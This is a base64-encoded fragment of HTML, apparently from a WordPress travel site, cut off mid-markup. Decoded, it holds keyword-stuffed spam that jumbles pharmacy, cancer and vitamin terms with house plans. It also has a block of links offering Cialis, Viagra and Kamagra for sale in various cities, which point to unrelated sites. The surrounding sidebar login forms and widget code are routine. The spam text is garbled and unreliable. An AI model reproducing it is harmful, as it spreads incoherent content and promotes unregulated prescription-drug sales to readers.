aXRhbWluIGQgZGVmaWNlbmN5IGNvbnRvdXIgd2VpZ2h0IGxvc3MgYmVsdCBjYW5jZXIgcGF0aWVudHMgb3J2aXMgZmx5IGZpc2hpbmc8L3A+CjxwPlN1cGVyIENpYWxpcyBwcmVzY3JpcHRpb24gcHJpY2VzIC0gQ291cG9ucyAmIFBoYXJtYWN5IEluZm9ybWF0aW9uIGhpZ2VzdCBibG9vZCBwcmVzc3VyZSB5YXJkIGJpYmxlIHBsYW5zIHggbWFzIGluZGlyZWN0IGhlYXQgY29va2VyIHBsYW5zIG92ZXIgdGhlIGNvdW50ZXIgY2hvbGVzdGVyb2wgbG93ZXJpbmcgZHJ1Z3MgcmF0aW5ncyBmb3Igc2tpbiBjYW5jZXIgY2VudGVycyBnb2FscyBmb3IgcGVvcGxlIHdpdGggbWVudGFsIGlsbG5lc3MgbGlwb3N1Y3Rpb24gYW5kIHdlaWdodCBsb3NzIGRpc3RyaWJ1dG9yc2hpcCB2aXRhbWluIHByb2R1Y3RzIFN1cGVyIENpYWxpcyB1c2VzIC0gQ291cG9ucyAmIFBoYXJtYWN5IEluZm9ybWF0aW9uIFN1cGVyIENpYWxpcyB1c2VzIC0gQ291cG9ucyAmIFBoYXJtYWN5IEluZm9ybWF0aW9uIGNob2xlc3Rlcm9sIG1vbnRoIGIgdml0YW1pbnMgYW5kIGN2ZCBwcm96YWMgdGVzdGluZyBwYXN0IGNhbmNlciB3YWxrIHRlYW0gbmFtZXMgcGxhbnMgZm9yIHdvb2RlbiB0YW50YWx1cyBwaGlsaXBzIHJldGlyZW1lbnQgcGxhbiBjYXVzZSBvZiB2aXRhbWluIGQgbG91IGFybXN0cm9uZyBjYW5jZXIgbmF0cnVtIG11cmlhdGljdW0gYXN0aG1hIHNlYXNob3JlIGJldHRlciBiaW9sb2d5IGxlc3NvbiBwbGFucyBoaWdoIHNjaG9vbCB3YXRlciByZXNvdXJjZSBwbGFuIHNjaWVudGlmaWMgbmFtZXMgZm9yIHBsYW4gY2hlYXAgZm9vZCBhbGxlcmd5IHNoaXJ0IGJpb3RpbiBkaWFiZXRlcyB2aXRhbWluIGZvcm0gY2hyb21hZmZpbiBjZWxscyBob3Jtb25lcyBwcm9kdWNlIGJ5IHdoYXQgYXJlIHNvbWUgbmV3IGNhbmNlciBkaXNjb3ZlcmllcyBoaWdoIGJsb29kIHByZXNzdXJlIGFkcmVuYWwgZ2xhbmQgdHVtb3IgZnJlZSBwbGFucyBmb3IgZWFzeSBwbGF5IGhvdXNlcyBwYXRpbyBjb3ZlcmluZyBwbGFucyB3aGF0IGhvcm1vbmVzIGluIGJpcnRoIGNvbnRyb2wgcGlsbHMgaGlnaCBibG9vZCBwcmVzc3VyZSBhbmQgZXJlY3Rpb25zIHRyYXpvZG9uZSB0YWJsZXQgc2lkZSBlZmZlY3RzPC9wPgo8YSBocmVmPSJodHRwOi8vbGFiLWRjLmNvbS9hbXBfcHJlY29ubmVjdF9wb2x5ZmlsbF80MDRfb3Jfb3RoZXJfZXJyb3JfZXhwZWN0ZWQuX0RvX25vdF93b3JyeV9hYm91dF9pdD8xNTM2MzY0ODAwMDAwIj5PcmRlciBLYW1hZ3JhIGluIFZpZXRuYW0gSGFub2k8L2E+IDxhIGhyZWY9Imh0dHBzOi8vd3d3Lm1pbGxlcmJ1aWxkaW5naW5zcGVjdGlvbnMuY29tL3NlcnZpY2VzL25ldy1jb25zdHJ1Y3Rpb24vIj5CdXkgS2FtYWdyYSBTdXBlciBpbiBTeXJpYSBEYW1hc2N1czwvYT4gPGEgaHJlZj0iaHR0cDovL2Zhc2hpb25ibG9nbWV4aWNvLmNvbS92ZXN0aWRvcy1wYXJhLWdvcmRpdGFzLyI+T3JkZXIgQ2lhbGlzIFNvZnQgaW4gQ29jb3MgKEtlZWxpbmcpIElzbGFuZHMgV2VzdCBJc2xhbmQ8L2E+IDxhIGhyZWY9Imh0dHBzOi8vbGlsaWFyb21hbi5jb20vZXNwYW5vbC9kYXRvcy1kZS1zYWx1ZC1kZS1sYS1jb211bmlkYWQtbGF0aW5hLyI+QnV5IEZlbWFsZSBWaWFncmEgaW4gQ29tb3JvcyBNb3Jvbmk8L2E+IDxhIGhyZWY9Imh0dHA6Ly93d3cuc3RldmVubGJlcmcuaW5mby90b2RheS9kYXRlLzIwMTUvMDMiPlZpYWdyYSBzaWRlIGVmZmVjdHMgbG9uZyB0ZXJtPC9hPiA8YSBocmVmPSJodHRwczovL3d3dy5hcG9wc2ktdG9yYS5nci8lQ0UlQjElQ0UlQkIlQ0YlODQlQ0YlODMlQ0YlODclQ0UlQUMlQ0UlQjklQ0UlQkMlQ0UlQjUlQ0YlODEtJUNFJUJBJUNFJUFGJUNFJUJEJUNFJUI0JUNGJTg1JUNFJUJEJUNFJUJGJUNGJTgyLSVDRSVCQSVDRSVCMSVDRSVCOS0lQ0UlQjMlQ0UlQjklQ0UlQjEtJUNGJTgzJUNGJTg1JUNFJUIzJUNFJUIzJUNFJUI1JUNFJUJEJUNFJUI1JUNFJUFGLyI+QnV5IENpYWxpcyBpbiBCYXJiYWRvcyBCcmlkZ2V0b3duPC9hPiA8YSBocmVmPSJodHRwOi8vZ2FuZXNodGV4dGlsZXMubGsvem9vbS5waHA/c2VjPXdlZGRpbmcmaWQ9MzQ2Ij5CdXkgQ2lhbGlzIFByb2Zlc3Npb25hbCBpbiBJc3JhZWwgSmVydXNhbGVtPC9hPiA8YSBocmVmPSJodHRwOi8vd3d3LmRydWhlcGtpbnMuY29tLz9zPSVFQyVBNyU4NCVFRCU5NSVCNCVFRCU5RCVBNSVFQyVCNiU5QyVFQyU5RSVBNSVFQyU5NSU4OCVFQiVBNyU4OCUyOCVFQyVCOSVCNCVFRCU4NiVBMS0rTW8yNyUyOSUyOFBvK28zNC5jJUVGJUJDJTkwTSUyOSVFQyVCNiU5QyVFQyU5RSVBNSVFQyU4NCU5QyVFQiVCOSU4NCVFQyU4QSVBNCVFQyVCNiU5QyVFQyU5RSVBNSVFQyU4MyVCNSVFRCU5QiU4NCVFQSVCOCVCMFkrJUUyJTk0JTk4MjAxOS0wMy0wMy0wMC01MSVFQyVBNyU4NCVFRCU5NSVCNCVFMiU5OSU5RkFJSiVFMiU5OSVBMCVFQyVCNiU5QyVFQyU5RSVBNSVFQyU5NyVBQyVFQiU4QyU4MCVFQyI+QnV5IFZpYWdyYSBpbiBOZXcgWmVhbGFuZCBXZWxsaW5ndG9uPC9hPiA8YSBocmVmPSJodHRwOi8vd3d3LnN0ZXZlbmxiZXJnLmluZm8vYmxvZy9hLTE1OC8/c2hhcmU9cG9ja2V0Ij5TaG9wIFZpYWdyYSBWaWdvdXIgd2l0aCBBTUVYPC9hPiA8YSBocmVmPSJodHRwOi8vYWZnaGFub3JiYW5kLmNvbS9pbmRleC5waHA/ZmQ0ZTNqLW1zNnBieWV1d3pnIj5PdGMgdmlhZ3JhPC9hPiANCgkJPC9kaXY+CjwvYXJ0aWNsZT4KCgoJCQk8L2Rpdj4KCgkJPC9kaXY+CgoKCQkJCTxkaXYgaWQ9InNlY29uZGFyeSIgY2xhc3M9IndpZGdldC1hcmVhIiByb2xlPSJjb21wbGVtZW50YXJ5Ij4KPGFzaWRlIGlkPSJhaXQtZGlyZWN0b3J5LXdpZGdldC0yIiBjbGFzcz0id2lkZ2V0IHdpZGdldF9kaXJlY3RvcnkiPgkJCTxkaXYgY2xhc3M9Im5vdC1sb2dnZWQiPg0KCQkJPGRpdiBpZD0iYWl0LWxvZ2luLXRhYnMiPg0KCQkJCTx1bD4NCgkJCQkJPGxpPjxhIGNsYXNzPSJsb2dpbiIgaHJlZj0iI2FpdC1kaXItbG9naW4tdGFiIj5Mb2dpbjwvYT48L2xpPg0KCQkJCQk8bGkgY2xhc3M9ImFjdGl2ZSI+PGEgY2xhc3M9InJlZ2lzdGVyIiBocmVmPSIjYWl0LWRpci1yZWdpc3Rlci10YWIiPlJlZ2lzdGVyPC9hPjwvbGk+DQoJCQkJPC91bD4NCg0KCQkJCQ0KCQkJCTxkaXYgaWQ9ImFpdC1kaXItbG9naW4tdGFiIiBzdHlsZT0iZGlzcGxheTogbm9uZTsiPg0KCQkJCTxwPjwvcD4NCgkJCQkKCQk8Zm9ybSBuYW1lPSJhaXQtbG9naW4tZm9ybS13aWRnZXQiIGlkPSJhaXQtbG9naW4tZm9ybS13aWRnZXQiIGFjdGlvbj0iaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWxvZ2luLnBocCIgbWV0aG9kPSJwb3N0Ij4KCQkJCgkJCTxwIGNsYXNzPSJsb2dpbi11c2VybmFtZSI+CgkJCQk8bGFiZWwgZm9yPSJ1c2VyX2xvZ2luIj5Vc2VybmFtZSBvciBFbWFpbCBBZGRyZXNzPC9sYWJlbD4KCQkJCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJsb2ciIGlkPSJ1c2VyX2xvZ2luIiBjbGFzcz0iaW5wdXQiIHZhbHVlPSIiIHNpemU9IjIwIiAvPgoJCQk8L3A+CgkJCTxwIGNsYXNzPSJsb2dpbi1wYXNzd29yZCI+CgkJCQk8bGFiZWwgZm9yPSJ1c2VyX3Bhc3MiPlBhc3N3b3JkPC9sYWJlbD4KCQkJCTxpbnB1dCB0eXBlPSJwYXNzd29yZCIgbmFtZT0icHdkIiBpZD0idXNlcl9wYXNzIiBjbGFzcz0iaW5wdXQiIHZhbHVlPSIiIHNpemU9IjIwIiAvPgoJCQk8L3A+CgkJCQoJCQk8cCBjbGFzcz0ibG9naW4tcmVtZW1iZXIiPjxsYWJlbD48aW5wdXQgbmFtZT0icmVtZW1iZXJtZSIgdHlwZT0iY2hlY2tib3giIGlkPSJyZW1lbWJlcm1lIiB2YWx1ZT0iZm9yZXZlciIgLz4gUmVtZW1iZXIgTWU8L2xhYmVsPjwvcD4KCQkJPHAgY2xhc3M9ImxvZ2luLXN1Ym1pdCI+CgkJCQk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJ3cC1zdWJtaXQiIGlkPSJ3cC1zdWJtaXQiIGNsYXNzPSJidXR0b24gYnV0dG9uLXByaW1hcnkiIHZhbHVlPSJMb2cgSW4iIC8+CgkJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJyZWRpcmVjdF90byIgdmFsdWU9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy8iIC8+CgkJCTwvcD4KCQkJCgkJPC9mb3JtPgkJCQk8L2Rpdj4NCg0KCQkJCQ0KCQkJCTxkaXYgaWQ9ImFpdC1kaXItcmVnaXN0ZXItdGFiIj4NCgkJCQk8cD48L3A+DQoJCQkJPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy8/ZGlyLXJlZ2lzdGVyPXJlZ2lzdGVyIiBjbGFzcz0id3AtdXNlci1mb3JtIj4NCgkJCQkJPGRpdiBjbGFzcz0icmVnaXN0ZXItdXNlcm5hbWUiPg0KCQkJCQkJPGxhYmVsIGZvcj0idXNlcl9sb2dpbiI+VXNlcm5hbWUgPC9sYWJlbD4NCgkJCQkJCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ1c2VyX2xvZ2luIiB2YWx1ZT0iIiBzaXplPSIyMCIgaWQ9InVzZXJfbG9naW5fcmVnaXN0ZXJfd2lkZ2V0IiB0YWJpbmRleD0iMTAxIiAvPg0KCQkJCQk8L2Rpdj4NCgkJCQkJPGRpdiBjbGFzcz0icmVnaXN0ZXItZW1haWwiPg0KCQkJCQkJPGxhYmVsIGZvcj0idXNlcl9lbWFpbCI+RW1haWwgPC9sYWJlbD4NCgkJCQkJCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ1c2VyX2VtYWlsIiB2YWx1ZT0iIiBzaXplPSIyNSIgaWQ9InVzZXJfZW1haWxfcmVnaXN0ZXJfd2lkZ2V0IiB0YWJpbmRleD0iMTAyIiAvPg0KCQkJCQk8L2Rpdj4NCgkJCQkJPGRpdiBjbGFzcz0icmVnaXN0ZXItcm9sZSI+DQoJCQkJCQk8bGFiZWwgZm9yPSJkaXJlY3Rvcnktcm9sZSI+UGFja2FnZSA8L2xhYmVsPg0KCQkJCQkJPHNlbGVjdCBuYW1lPSJkaXJlY3Rvcnktcm9sZSI+DQoJCQkJCQk8b3B0aW9uIHZhbHVlPSJkaXJlY3RvcnlfMSIgY2xhc3M9ImZyZWUiPlN1Ym1pdCBBIE5ldyBMaXN0aW5nIChGcmVlKTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImRpcmVjdG9yeV8yIj5EaXJlY3RvcnkgUHJlbWl1bSAoMTAgVVNEKTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImRpcmVjdG9yeV8zIj5DbGFpbSBZb3VyIExpc3RpbmcgLSA0NyBVU0QgcGVyIHllYXIgKDQ3IFVTRCk8L29wdGlvbj4JCQkJCQk8L3NlbGVjdD4NCgkJCQkJPC9kaXY+DQoJCQkJCTxkaXYgY2xhc3M9ImxvZ2luLWZpZWxkcyI+DQoJCQkJCQkJCQkJCQk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJ1c2VyLXN1Ym1pdCIgdmFsdWU9IlNpZ24gdXAhIiBjbGFzcz0idXNlci1zdWJtaXQiIHRhYmluZGV4PSIxMDMiIC8+DQoJCQkJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJyZWRpcmVjdF90byIgdmFsdWU9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cyIgLz4NCgkJCQkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InVzZXItY29va2llIiB2YWx1ZT0iMSIgLz4NCgkJCQkJPC9kaXY+DQoJCQkJPC9mb3JtPg0KCQkJCTwvZGl2Pg0KDQoJCQkJPHNjcmlwdD4NCgkJCQlqUXVlcnkoZG9jdW1lbnQpLnJlYWR5KGZ1bmN0aW9uKCQpIHsNCgkJCQkJdmFyIHRhYlJlZ2lzdGVyID0gJCgnI2FpdC1kaXItcmVnaXN0ZXItdGFiJyksDQoJCQkJCQl0YWJMb2dpbiA9ICAkKCcjYWl0LWRpci1sb2dpbi10YWInKSwNCgkJCQkJCWxpbmtMb2dpbiA9ICQoJyNhaXQtbG9naW4tdGFicyAubG9naW4nKSwNCgkJCQkJCWxpbmtSZWdpc3RlciA9ICQoJyNhaXQtbG9naW4tdGFicyAucmVnaXN0ZXInKTsNCgkJCQkJbGlua0xvZ2luLmNsaWNrKGZ1bmN0aW9uKGV2ZW50KSB7DQoJCQkJCQlsaW5rUmVnaXN0ZXIucGFyZW50KCkucmVtb3ZlQ2xhc3MoJ2FjdGl2ZScpOw0KCQkJCQkJdGFiUmVnaXN0ZXIuaGlkZSgpOw0KCQkJCQkJbGlua0xvZ2luLnBhcmVudCgpLmFkZENsYXNzKCdhY3RpdmUnKTsNCgkJCQkJCXRhYkxvZ2luLnNob3coKTsNCgkJCQkJCWV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQoJCQkJCX0pOw0KCQkJCQlsaW5rUmVnaXN0ZXIuY2xpY2soZnVuY3Rpb24oZXZlbnQpIHsNCgkJCQkJCWxpbmtMb2dpbi5wYXJlbnQoKS5yZW1vdmVDbGFzcygnYWN0aXZlJyk7DQoJCQkJCQl0YWJMb2dpbi5oaWRlKCk7DQoJCQkJCQlsaW5rUmVnaXN0ZXIucGFyZW50KCkuYWRkQ2xhc3MoJ2FjdGl2ZScpOw0KCQkJCQkJdGFiUmVnaXN0ZXIuc2hvdygpOw0KCQkJCQkJZXZlbnQucHJldmVudERlZmF1bHQoKTsNCgkJCQkJfSk7DQoJCQkJCS8vIGluaXQgYW5kIGNoYW5nZQ0KCQkJCQl2YXIgc2VsZWN0ID0gdGFiUmVnaXN0ZXIuZmluZCgnc2VsZWN0W25hbWU9ZGlyZWN0b3J5LXJvbGVdJyksDQoJCQkJCQlidXR0b25TdWJtaXQgPSB0YWJSZWdpc3Rlci5maW5kKCdpbnB1dFtuYW1lPXVzZXItc3VibWl0XScpLA0KCQkJCQkJZnJlZVRpdGxlID0gJ1NpZ24gdXAnLA0KCQkJCQkJYnV5VGl0bGUgPSAnQnV5IHdpdGggUGF5UGFsJzsNCgkJCQkJaWYoc2VsZWN0LmZpbmQoJ29wdGlvbjpzZWxlY3RlZCcpLmhhc0NsYXNzKCdmcmVlJykpew0KCQkJCQkJYnV0dG9uU3VibWl0LnZhbChmcmVlVGl0bGUpOw0KCQkJCQl9IGVsc2Ugew0KCQkJCQkJYnV0dG9uU3VibWl0LnZhbChidXlUaXRsZSk7DQoJCQkJCX0NCgkJCQkJc2VsZWN0LmNoYW5nZShmdW5jdGlvbihldmVudCkgew0KCQkJCQkJaWYoc2VsZWN0LmZpbmQoJ29wdGlvbjpzZWxlY3RlZCcpLmhhc0NsYXNzKCdmcmVlJykpew0KCQkJCQkJCWJ1dHRvblN1Ym1pdC52YWwoZnJlZVRpdGxlKTsNCgkJCQkJCX0gZWxzZSB7DQoJCQkJCQkJYnV0dG9uU3VibWl0LnZhbChidXlUaXRsZSk7DQoJCQkJCQl9DQoJCQkJCX0pOw0KCQkJCX0pOw0KCQkJCTwvc2NyaXB0Pg0KDQoJCQk8L2Rpdj4NCgkJCTwvZGl2Pg0KCQkJPC9hc2lkZT48YXNpZGUgaWQ9ImN1c3RvbV9wb3N0X3R5cGVfd2lkZ2V0LTIiIGNsYXNzPSJ3aWRnZXQgd2lkZ2V0X2N1c3RvbV9wb3N0X3R5cGVfd2lkZ2V0Ij5ObyBwb3N0cyBmb3VuZDwvYXNpZGU+PGFzaWRlIGlkPSJ0ZXh0LTIiIGNsYXNzPSJ3aWRnZXQgd2lkZ2V0X3RleHQiPgkJCTxkaXYgY2xhc3M9InRleHR3aWRnZXQiPjxhIGhyZWY9Imh0dHA6Ly9mdW5ydW5uZXJzdHJhdmVsLmNvbS8iPjxpbWcgc3JjPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC91cGxvYWRzLzIwMTYvMTIvbG9nb2Z1bnJ1bm5lci5wbmciIGFsdD0iU21pbGV5IGZhY2UiIGhlaWdodD0iNDciIHdpZHRoPSIzMDAiPjwvZGl2PgoJCTwvYXNpZGU+PGFzaWRlIGlkPSJwb3N0cy13aWRnZXQtMiIgY2xhc3M9IndpZGdldCB3aWRnZXRfcG9zdHMiPiAgICAgICAgPGRpdiBjbGFzcz0icG9zdGl0ZW1zLXdyYXBwZXIiPgogICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icG9zdGl0ZW0gY2xlYXJmaXggIj4KICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgCgogICAgICAgICAgICAgICAgPHA+PHNtYWxsPkV4YW1wbGU8L3NtYWxsPjwvcD4KCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icmVhZC1tb3JlIj4KICAgICAgICAgICAgICAgICAgICA8c21hbGwgY2xhc3M9ImZsIj4KICAgICAgICAgICAgICAgICAgICAgICAgPHN0cm9uZz5EZWNlbWJlciAzMCwgMjAxNjwvc3Ryb25nPgogICAgICAgICAgICAgICAgICAgIDwvc21hbGw+CgogICAgICAgICAgICAgICAgICAgIDxzbWFsbCBjbGFzcz0iZnIiPgogICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvP3A9ODI4OCI+cmVhZCBtb3JlPC9hPgogICAgICAgICAgICAgICAgICAgIDwvc21hbGw+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icG9zdGl0ZW0gY2xlYXJmaXggIGxhc3QiPgogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAKCiAgICAgICAgICAgICAgICA8cD48c21hbGw+ZG9nPC9zbWFsbD48L3A+CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InJlYWQtbW9yZSI+CiAgICAgICAgICAgICAgICAgICAgPHNtYWxsIGNsYXNzPSJmbCI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxzdHJvbmc+RGVjZW1iZXIgMjksIDIwMTY8L3N0cm9uZz4KICAgICAgICAgICAgICAgICAgICA8L3NtYWxsPgoKICAgICAgICAgICAgICAgICAgICA8c21hbGwgY2xhc3M9ImZyIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzLz9wPTgyODQiPnJlYWQgbW9yZTwvYT4KICAgICAgICAgICAgICAgICAgICA8L3NtYWxsPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9kaXY+PC9hc2lkZT4JCQkJPC9kaXY+CgoJPC9kaXY+Cgo8L2Rpdj4gCgoJCTxmb290ZXIgaWQ9ImNvbG9waG9uIiByb2xlPSJjb250ZW50aW5mbyI+CgoJCQk8ZGl2IGlkPSJzdXBwbGVtZW50YXJ5IiBjbGFzcz0id2lkZ2V0cyBkZWZhdWx0Q29udGVudFdpZHRoIj4KCgoJCQk8L2Rpdj4KCjxkaXYgaWQ9InNpdGUtZ2VuZXJhdG9yIiBjbGFzcz0iY2xlYXJmaXgiPgoJPGRpdiBjbGFzcz0iZGVmYXVsdENvbnRlbnRXaWR0aCI+CgkJPGRpdiBpZD0iZm9vdGVyLXRleHQiPgoJCQk8cD48c3Ryb25nPsKpIDIwMTcgQ29weXJpZ2h0IGJ5IGZ1bnJ1bm5lcnNiZWFjaGVzLnVzIC48L3N0cm9uZz4gQWxsIHJpZ2h0cyByZXNlcnZlZC48L3A+CgkJPC9kaXY+CjxuYXYgY2xhc3M9ImZvb3Rlci1tZW51Ij48dWwgaWQ9Im1lbnUtZm9vdGVyLW1lbnUiIGNsYXNzPSJtZW51Ij48bGkgaWQ9Im1lbnUtaXRlbS04MjM2IiBjbGFzcz0ibWVudS1pdGVtIG1lbnUtaXRlbS10eXBlLXBvc3RfdHlwZSBtZW51LWl0ZW0tb2JqZWN0LXBhZ2UgbWVudS1pdGVtLWhvbWUgY3VycmVudC1tZW51LWl0ZW0gcGFnZV9pdGVtIHBhZ2UtaXRlbS03IGN1cnJlbnRfcGFnZV9pdGVtIG1lbnUtaXRlbS04MjM2Ij48YSBocmVmPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvIj5Ib21lPC9hPjwvbGk+CjxsaSBpZD0ibWVudS1pdGVtLTgyMzUiIGNsYXNzPSJtZW51LWl0ZW0gbWVudS1pdGVtLXR5cGUtcG9zdF90eXBlIG1lbnUtaXRlbS1vYmplY3QtcGFnZSBtZW51LWl0ZW0tODIzNSI+PGEgaHJlZj0iaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzLz9wYWdlX2lkPTUwMTkiPkJsb2c8L2E+PC9saT4KPGxpIGlkPSJtZW51LWl0ZW0tODIzOCIgY2xhc3M9Im1lbnUtaXRlbSBtZW51LWl0ZW0tdHlwZS1wb3N0X3R5cGUgbWVudS1pdGVtLW9iamVjdC1wYWdlIG1lbnUtaXRlbS04MjM4Ij48YSBocmVmPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvP3BhZ2VfaWQ9NTAwMiI+VGhlbWUgRmVhdHVyZXM8L2E+PC9saT4KPGxpIGlkPSJtZW51LWl0ZW0tODIzNyIgY2xhc3M9Im1lbnUtaXRlbSBtZW51LWl0ZW0tdHlwZS1wb3N0X3R5cGUgbWVudS1pdGVtLW9iamVjdC1wYWdlIG1lbnUtaXRlbS04MjM3Ij48YSBocmVmPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvP3BhZ2VfaWQ9NDE3NyI+Q29udGFjdCBVczwvYT48L2xpPgo8L3VsPjwvbmF2Pgk8L2Rpdj4KPC9kaXY+CgkJPC9mb290ZXI+CgoJPC9kaXY+Cgo8ZGl2IHN0eWxlPSJwb3NpdGlvbjpmaXhlZDtib3R0b206MDtsZWZ0OjglO3otaW5kZXg6OTk5OTk5OyIgaWQ9Imd0cmFuc2xhdGVfd3JhcHBlciI+CjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+Ci5zd2l0Y2hlciB7Zm9udC1mYW1pbHk6QXJpYWw7Zm9udC1zaXplOjEwcHQ7dGV4dC1hbGlnbjpsZWZ0O2N1cnNvcjpwb2ludGVyO292ZXJmbG93OmhpZGRlbjt3aWR0aDoxNjNweDtsaW5lLWhlaWdodDoxN3B4O30KLnN3aXRjaGVyIGEge3RleHQtZGVjb3JhdGlvbjpub25lO2Rpc3BsYXk6YmxvY2s7Zm9udC1zaXplOjEwcHQ7LXdlYmtpdC1ib3gtc2l6aW5nOmNvbnRlbnQtYm94Oy1tb3otYm94LXNpemluZzpjb250ZW50LWJveDtib3gtc2l6aW5nOmNvbnRlbnQtYm94O30KLnN3aXRjaGVyIGEgaW1nIHt2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7ZGlzcGxheTppbmxpbmU7Ym9yZGVyOjA7cGFkZGluZzowO21hcmdpbjowO29wYWNpdHk6MC44O30KLnN3aXRjaGVyIGE6aG92ZXIgaW1nIHtvcGFjaXR5OjE7fQouc3dpdGNoZXIgLnNlbGVjdGVkIHtiYWNrZ3JvdW5kOiNGRkZGRkYgdXJsKGh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3BsdWdpbnMvZ3RyYW5zbGF0ZS9zd2l0Y2hlci5wbmcpIHJlcGVhdC14O3Bvc2l0aW9uOnJlbGF0aXZlO3otaW5kZXg6OTk5OTt9Ci5zd2l0Y2hlciAuc2VsZWN0ZWQgYSB7Ym9yZGVyOjFweCBzb2xpZCAjQ0NDQ0NDO2JhY2tncm91bmQ6dXJsKGh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3BsdWdpbnMvZ3RyYW5zbGF0ZS9hcnJvd19kb3duLnBuZykgMTQ2cHggY2VudGVyIG5vLXJlcGVhdDtjb2xvcjojNjY2NjY2O3BhZGRpbmc6M3B4IDVweDt3aWR0aDoxNTFweDt9Ci5zd2l0Y2hlciAuc2VsZWN0ZWQgYS5vcGVuIHtiYWNrZ3JvdW5kLWltYWdlOnVybChodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC9wbHVnaW5zL2d0cmFuc2xhdGUvYXJyb3dfdXAucG5nKX0KLnN3aXRjaGVyIC5zZWxlY3RlZCBhOmhvdmVyIHtiYWNrZ3JvdW5kOiNGMEYwRjAgdXJsKGh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3BsdWdpbnMvZ3RyYW5zbGF0ZS9hcnJvd19kb3duLnBuZykgMTQ2cHggY2VudGVyIG5vLXJlcGVhdDt9Ci5zd2l0Y2hlciAub3B0aW9uIHtwb3NpdGlvbjpyZWxhdGl2ZTt6LWluZGV4Ojk5OTg7Ym9yZGVyLWxlZnQ6MXB4IHNvbGlkICNDQ0NDQ0M7Ym9yZGVyLXJpZ2h0OjFweCBzb2xpZCAjQ0NDQ0NDO2JvcmRlci1ib3R0b206MXB4IHNvbGlkICNDQ0NDQ0M7YmFja2dyb3VuZC1jb2xvcjojRUVFRUVFO2Rpc3BsYXk6bm9uZTt3aWR0aDoxNjFweDttYXgtaGVpZ2h0OjE5OHB4Oy13ZWJraXQtYm94LXNpemluZzpjb250ZW50LWJveDstbW96LWJveC1zaXppbmc6Y29udGVudC1ib3g7Ym94LXNpemluZzpjb250ZW50LWJveDtvdmVyZmxvdy15OmF1dG87b3ZlcmZsb3cteDpoaWRkZW47fQouc3dpdGNoZXIgLm9wdGlvbiBhIHtjb2xvcjojMDAwO3BhZGRpbmc6M3B4IDVweDt9Ci5zd2l0Y2hlciAub3B0aW9uIGE6aG92ZXIge2JhY2tncm91bmQ6I0ZGQzt9Ci5zd2l0Y2hlciAub3B0aW9uIGEuc2VsZWN0ZWQge2JhY2tncm91bmQ6I0ZGQzt9CiNzZWxlY3RlZF9sYW5nX25hbWUge2Zsb2F0OiBub25lO30KLmxfbmFtZSB7ZmxvYXQ6IG5vbmUgIWltcG9ydGFudDttYXJnaW46IDA7fQouc3dpdGNoZXIgLm9wdGlvbjo6LXdlYmtpdC1zY3JvbGxiYXItdHJhY2t7LXdlYmtpdC1ib3gtc2hhZG93Omluc2V0IDAgMCAzcHggcmdiYSgwLDAsMCwwLjMpO2JvcmRlci1yYWRpdXM6NXB4O2JhY2tncm91bmQtY29sb3I6I0Y1RjVGNTt9Ci5zd2l0Y2hlciAub3B0aW9uOjotd2Via2l0LXNjcm9sbGJhciB7d2lkdGg6NXB4O30KLnN3aXRjaGVyIC5vcHRpb246Oi13ZWJraXQtc2Nyb2xsYmFyLXRodW1iIHtib3JkZXItcmFkaXVzOjVweDstd2Via2l0LWJveC1zaGFkb3c6IGluc2V0IDAgMCAzcHggcmdiYSgwLDAsMCwuMyk7YmFja2dyb3VuZC1jb2xvcjojODg4O30KPC9zdHlsZT4KPGRpdiBjbGFzcz0ic3dpdGNoZXIgbm90cmFuc2xhdGUiPgo8ZGl2IGNsYXNzPSJzZWxlY3RlZCI+CjxhIGhyZWY9IiMiIG9uY2xpY2s9InJldHVybiBmYWxzZTsiPjxpbWcgc3JjPSJodHRwOi8v